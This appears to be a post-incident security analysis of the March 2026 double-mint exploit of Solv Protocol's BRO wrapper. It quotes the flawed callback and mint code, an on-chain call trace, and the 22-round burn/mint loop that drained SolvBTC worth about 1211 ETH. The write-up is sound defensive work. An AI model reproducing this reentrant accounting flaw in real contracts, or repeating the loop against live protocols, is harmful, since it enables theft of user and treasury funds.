Solv BRO Callback Double-Mint Drain
On March 5, 2026, Solv Protocol’s Bitcoin Reserve Offering on Ethereum was exploited through a callback-driven logic error in the BRO wrapper at 0x15f7c1ac69f0c102e4f390e45306bd917f21cfcf, accessed through the beacon proxy at 0x014e6f6ba7a9f4c9a51a0aa3189b5c0a21006869. The vulnerable full-value mint() path transfers an entire ERC-3525 position into the wrapper with safeTransferFrom, which triggers onERC721Received(); the callback mints BRO once, and the outer mint() mints the same value again. The attacker repeated a burn -> mint(full balance) cycle 22 times, inflating 135.364250355343316230 BRO into 567,758,681.358134582535027962 BRO, then monetized 165,592,064.418235422750668661 BRO for 38.047405138108322251 SolvBTC and swapped that into 1211.054376965512754134 ETH. A further 402,166,616.939899159784359301 illicitly minted BRO was sent to the attacker EOA at the end of the same transaction.
Root Cause
Vulnerable Contract
- Name:
BitcoinReserveOffering - Implementation:
0x15f7c1ac69f0c102e4f390e45306bd917f21cfcf - Proxy: beacon proxy
0x014e6f6ba7a9f4c9a51a0aa3189b5c0a21006869 - Source type: verified Solidity 0.8.20
The proxy delegates to BitcoinReserveOffering, while the ERC-3525 position token lives behind 0x982d50f8557d57b748733a3fc3d55aef40c46756 and its implementation 0x88552269817d23e2d62247287aa9f9913ac3b2f8. The exploit does not require corrupting the ERC-3525 token itself; it only relies on the wrapper mishandling the callback created by a full-token safeTransferFrom.
Vulnerable Function
- Primary function:
mint(uint256,uint256) - Selector:
0x1b2ef1ca - Callback involved:
onERC721Received(address,address,uint256,bytes) - Selector:
0x150b7a02
The bug is in the interaction between these two functions. mint() is guarded with nonReentrant, but onERC721Received() is not. The callback does not re-enter mint(); instead it independently calls _mint(from_, value) while the outer mint() call is still in progress, so the reentrancy guard never blocks the duplicate accounting path.
Vulnerable Code
// BitcoinReserveOffering.sol -- verified source
function onERC721Received(address, address from_, uint256 sftId_, bytes calldata)
external
virtual
override
onlyWrappedSft
returns (bytes4)
{
require(wrappedSftSlot == IERC3525(wrappedSftAddress).slotOf(sftId_), "SftWrappedToken: unreceivable slot");
require(address(this) == IERC3525(wrappedSftAddress).ownerOf(sftId_), "SftWrappedToken: not owned sft id");
if (from_ == address(this)) {
return IERC721Receiver.onERC721Received.selector;
}
uint256 sftValue = IERC3525(wrappedSftAddress).balanceOf(sftId_);
require(sftValue > 0, "SftWrappedToken: mint zero not allowed");
if (holdingValueSftId == 0) {
holdingValueSftId = sftId_;
} else {
ERC3525TransferHelper.doTransfer(wrappedSftAddress, sftId_, holdingValueSftId, sftValue);
_holdingEmptySftIds.push(sftId_);
}
uint256 value = sftValue * exchangeRate / (10 ** decimals());
_mint(from_, value);
return IERC721Receiver.onERC721Received.selector;
}
function mint(uint256 sftId_, uint256 amount_) external virtual override nonReentrant {
require(wrappedSftSlot == IERC3525(wrappedSftAddress).slotOf(sftId_), "SftWrappedToken: slot does not match");
require(msg.sender == IERC3525(wrappedSftAddress).ownerOf(sftId_), "SftWrappedToken: caller is not sft owner");
require(amount_ > 0, "SftWrappedToken: mint amount cannot be 0");
uint256 sftBalance = IERC3525(wrappedSftAddress).balanceOf(sftId_);
if (amount_ == sftBalance) {
ERC3525TransferHelper.doSafeTransferIn(wrappedSftAddress, msg.sender, sftId_);
} else if (amount_ < sftBalance) {
if (holdingValueSftId == 0) {
holdingValueSftId = ERC3525TransferHelper.doTransferIn(wrappedSftAddress, sftId_, amount_);
} else {
ERC3525TransferHelper.doTransfer(wrappedSftAddress, sftId_, holdingValueSftId, amount_);
}
} else {
revert("SftWrappedToken: mint amount exceeds sft balance");
}
uint256 value = amount_ * exchangeRate / (10 ** decimals());
_mint(msg.sender, value);
}
// ERC3525TransferHelper.sol -- verified source
function doSafeTransferIn(address underlying, address from, uint256 tokenId) internal {
ERC721Interface token = ERC721Interface(underlying);
token.safeTransferFrom(from, address(this), tokenId);
}
Why It’s Vulnerable
- Expected behavior: A full-value
mint()should transfer the ERC-3525 position into the wrapper and mint BRO once for the transferred value. - Actual behavior: When
amount_ == sftBalance,mint()executesdoSafeTransferIn(), which performssafeTransferFrom(from, address(this), tokenId). That transfer invokesonERC721Received()on the BRO contract beforemint()reaches its own_mint(msg.sender, value). - Missing invariant:
onERC721Received()has no guard or context flag telling it whether it is handling a standalone incoming NFT or a transfer that is already being accounted for bymint(). It always computesvaluefrom the received token and calls_mint(from_, value). - Net effect: The callback mints once, the outer
mint()mints again, and the same SFT value is credited twice.
The exploit path is specific to the full-value branch. Partial-value mints stay in the amount_ < sftBalance branch and do not hit safeTransferFrom, so they do not trigger onERC721Received().
Attack Execution
High-Level Flow
- Attacker EOA
0xa407fe273db74184898cb56d2cb685615e1c0d6ecreatesAttackerContractMainat0xb32d389901f963e7c87168724fbdcc3a9db20dc9. - The main contract pulls
135.364250355343316230BRO from the EOA and deploysAttackerContract_BurnMintLoopat0x6aa78a9b245cc56377b21401b517ec8c03a40f03. - The main contract approves the looper for the seed BRO amount and calls selector
0x402b7423with calldata(135364250355343316230, 22). - The looper performs 22 iterations of:
burn(amount, 0)on BRO (0xb390c0ab), which moves an ERC-3525 position back to the looper.tokenOfOwnerByIndex(looper, 0)on the SFT contract, which resolves the reusable token id4932.balanceOf(4932)on the SFT contract, thenapprove(4932, BRO, balance)so BRO can take the full token value.mint(4932, fullBalance)on BRO (0x1b2ef1ca), which hits theamount_ == sftBalancebranch and therefore the vulnerable callback path.
- After the loop, the main contract approves the Solv exchange and trades
165,592,064.418235422750668661BRO for38.047405138108322251SolvBTC. - The main contract approves Uniswap V3 router
0x68b3465833fb72a70ecdf485e0e4c7bd8665fc45, executesexactOutput, swapsSolvBTC -> WBTC -> WETH, unwraps1211.054376965512754134WETH to ETH, forwards the ETH to the attacker EOA, and finally transfers the remaining402,166,616.939899159784359301BRO back to the EOA.
Detailed Call Trace
The sequence below is derived from trace_callTracer.json only.
[depth 0] 0xa407fe27 (attacker EOA)
-> CREATE 0xb32d3899 (AttackerContractMain)
[depth 1] 0xb32d3899
-> BRO.transferFrom(EOA, main, 135.364250355343316230 BRO)
-> CREATE 0x6aa78a9b (burn/mint looper)
-> BRO.approve(looper, 135.364250355343316230 BRO)
-> looper.0x402b7423(135364250355343316230, 22)
[depth 2] 0x6aa78a9b, repeated 22 times
-> BRO.burn(amount, 0) selector 0xb390c0ab
-> SFT.tokenOfOwnerByIndex(looper, 0) returns tokenId 4932
-> SFT.balanceOf(4932) returns full token value
-> SFT.approve(4932, BRO, fullBalance)
-> BRO.mint(4932, fullBalance) selector 0x1b2ef1ca
-> SFT.safeTransferFrom(looper, BRO, 4932) selector 0x42842e0e
-> BRO.onERC721Received(...) selector 0x150b7a02
-> _mint(looper, value) first mint
-> _mint(looper, value) second mint
[depth 1] 0xb32d3899
-> BRO.exchangeRate()
-> BRO.approve(exchange, 165,592,064.418235422750668661 BRO)
-> SolvExchange.0x045d0389(BRO, 165,592,064.418235422750668661)
-> BRO.transferFrom(main, 0xfb2dc242..., 165,592,064.418235422750668661 BRO)
-> SolvBTC.transferFrom(0xfb2dc242..., main, 38.047405138108322251 SolvBTC)
-> SolvBTC.approve(UniswapRouter, 38.047405138108322251)
-> UniswapRouter.exactOutput(...)
-> SolvBTC / WBTC pool
-> WBTC / WETH pool
-> WETH.withdraw(1211.054376965512754134)
-> ETH transfer to attacker EOA
-> BRO.transfer(attacker EOA, 402,166,616.939899159784359301 BRO)
Loop Growth Evidence
The first and last outer loop calls in trace_callTracer.json show the compounding directly:
- Round 1 burn:
BRO.burn(135364250355343316230, 0) - Round 1 mint:
BRO.mint(4932, 31102085070226) - Round 22 burn:
BRO.burn(283879408361192468943524352, 0) - Round 22 mint:
BRO.mint(4932, 65225799909192499201)
Receipt-derived transfer counts line up with the code path:
22BRO burns from looper to zero address44BRO mints from zero address to looper22safeTransferFromcalls into the BRO contract22onERC721Receivedcallbacks
That is exactly two BRO mint events for every one BRO burn/mint cycle.
Financial Impact
All amounts below come from funds_flow.json.
- Unauthorized BRO minted from zero address:
567,758,681.358134582535027962 BRO - BRO spent to drain the exchange inventory:
165,592,064.418235422750668661 BRO - SolvBTC taken from treasury
0xfb2dc2428b6c2fb149a3e6d658fdf979cc0afef9:38.047405138108322251 SolvBTC - Realized output after Uniswap swaps:
1211.054376965512754134 ETH - Leftover illicit BRO sent to attacker EOA:
402,166,616.939899159784359301 BRO
The economically realized protocol loss in this transaction is the 38.047405138108322251 SolvBTC transferred out of treasury and converted into ETH. The leftover BRO balance remains unauthorized supply created by the same flaw.
Evidence
BitcoinReserveOffering.sollines 111-158 show the exact duplicate-accounting path:onERC721Received()mints on callback, andmint()later mints again afterdoSafeTransferIn()finishes.ERC3525TransferHelper.sollines 33-36 show thatdoSafeTransferIn()is justsafeTransferFrom(from, address(this), tokenId), so the ERC-721 callback is unavoidable on the full-value path.trace_callTracer.jsonshows22outer calls from the looper to BRO selector0xb390c0aband22outer calls to selector0x1b2ef1ca; selector verification fromcast sigresolves these asburn(uint256,uint256)andmint(uint256,uint256)respectively.trace_callTracer.jsonalso shows22safeTransferFrom(address,address,uint256)calls from BRO into the SFT token and22onERC721Receivedcallbacks back into BRO.funds_flow.jsonreconciles exactly: the zero address’s BRO net change is-567,758,681.358134582535027962, which equals the attacker’s165,592,064.418235422750668661 BROspent plus402,166,616.939899159784359301 BROretained.- The top-level exchange trace shows the monetization path without needing exchange source code: the exchange pulls BRO from the attacker main contract and transfers
38.047405138108322251 SolvBTCout of treasury0xfb2dc2428b6c2fb149a3e6d658fdf979cc0afef9.
Related URLs
- Transaction: https://etherscan.io/tx/0x44e637c7d85190d376a52d89ca75f2d208089bb02b7c4708ad2aaae3a97a958d
- BRO proxy: https://etherscan.io/address/0x014e6f6ba7a9f4c9a51a0aa3189b5c0a21006869
- BRO implementation: https://etherscan.io/address/0x15f7c1ac69f0c102e4f390e45306bd917f21cfcf
- ERC-3525 SFT proxy: https://etherscan.io/address/0x982d50f8557d57b748733a3fc3d55aef40c46756
- Attacker main contract: https://etherscan.io/address/0xb32d389901f963e7c87168724fbdcc3a9db20dc9
- Attacker looper contract: https://etherscan.io/address/0x6aa78a9b245cc56377b21401b517ec8c03a40f03